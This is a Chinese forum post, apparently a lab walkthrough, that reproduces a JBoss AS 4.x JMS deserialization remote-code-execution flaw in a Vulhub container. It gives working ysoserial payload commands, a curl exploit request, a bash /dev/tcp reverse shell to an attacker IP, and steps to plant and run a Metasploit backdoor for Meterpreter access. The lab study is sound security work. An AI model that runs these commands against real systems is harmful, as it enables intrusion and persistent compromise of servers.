JBOSS AS 4.x及之前版本中,JBOSSMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码
Vulhub下载地址:https://github.com/vulhub
进入到漏洞所在的目录,使用命令 docker-compose build && docker-compose up -d 下载漏洞环境文件,并且运行
成功启动环境以后,进入浏览器验证是否搭建成功(http://ip:8080)。
该漏洞出现在/JBOSSmq-httpil/HTTPServerILServlet请求中,我们借助ysoserial的eCommonsCollections5利用链来复现。
ysoserial是在通用Java库中发现的实用程序和面向属性的编程“小工具链”的集合,可以在适当的条件下利用Java应用程序对对象执行不安全的反序列化。主驱动程序接受用户指定的命令,并将其包装在用户指定的小工具链中,然后将这些对象序列化为stdout。当在类路径上具有必需小工具的应用程序不安全地反序列化此数据时,该链将自动被调用并导致命令在应用程序主机上执行。
生成Payload:本处使用了一个创建文件的命令作为测试。ysoserial包的下载放在了结尾附件中
java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 “touch /tmp/success” > 1.ser
我们将1.ser文件内容作为POST Body发送:
curl http://your-ip:8080/JBOSSmq-httpil/HTTPServerILServlet —data-binary <span>@1.ser#CTL{n}#CTL{n}
使用反序列化漏洞执行了一条命令,用于创建文件successs。
打开Ubuntu查看文件是否成功;可见/tmp/success已成功创建
在Kali端使用Netcat进行端口监听,用于接收反弹到的Shell命令:nc -lvvp 4444
将远程命令执行的命令换为bash的反弹命令,从而触发目标机将Shell反弹到我们手中。命令:java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 "bash -i >& /dev/tcp/192.168.88.146/4444 0>&" > 2.ser
命令被成功执行,这个时候Kali端的Netcat成功接收到目标的Shell。
因为我们已经获取到了目标的Shell,可以通过Metasploit生成一个Linux的后门,利用Python搭建一个临时的服务器,使用目标机的Shell下载我们使用Metasploit生成的后门文件,并且执行,获取到Meterpreter。
1. 利用Metasploit生成Linux的后门文件。
2.使用Python搭建临时的服务器,用于目标下载文件命令:python3 -m http.server 8888
设置Metasploit开启监听,用于接收返回的Meterpreter
4.使用已经获取到的目标的Shell下载后门文件,赋予执行权限并且执行。
5.获取到Meterpreter
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
Track-劲夫 | 50.00 | 0 | 2022-07-01 19:07:01 | 一个受益终生的帖子~~ |
打赏我,让我更有动力~
ysoserial.zip 文件大小:0.14M (下载次数:0) 售价:3
© 2016 - 2024 掌控者 All Rights Reserved.
2624124882
发表于 2023-5-31
1
评论列表
加载数据中...
Track-劲夫
发表于 2022-7-1
建议把附件的金币售价降低
评论列表
加载数据中...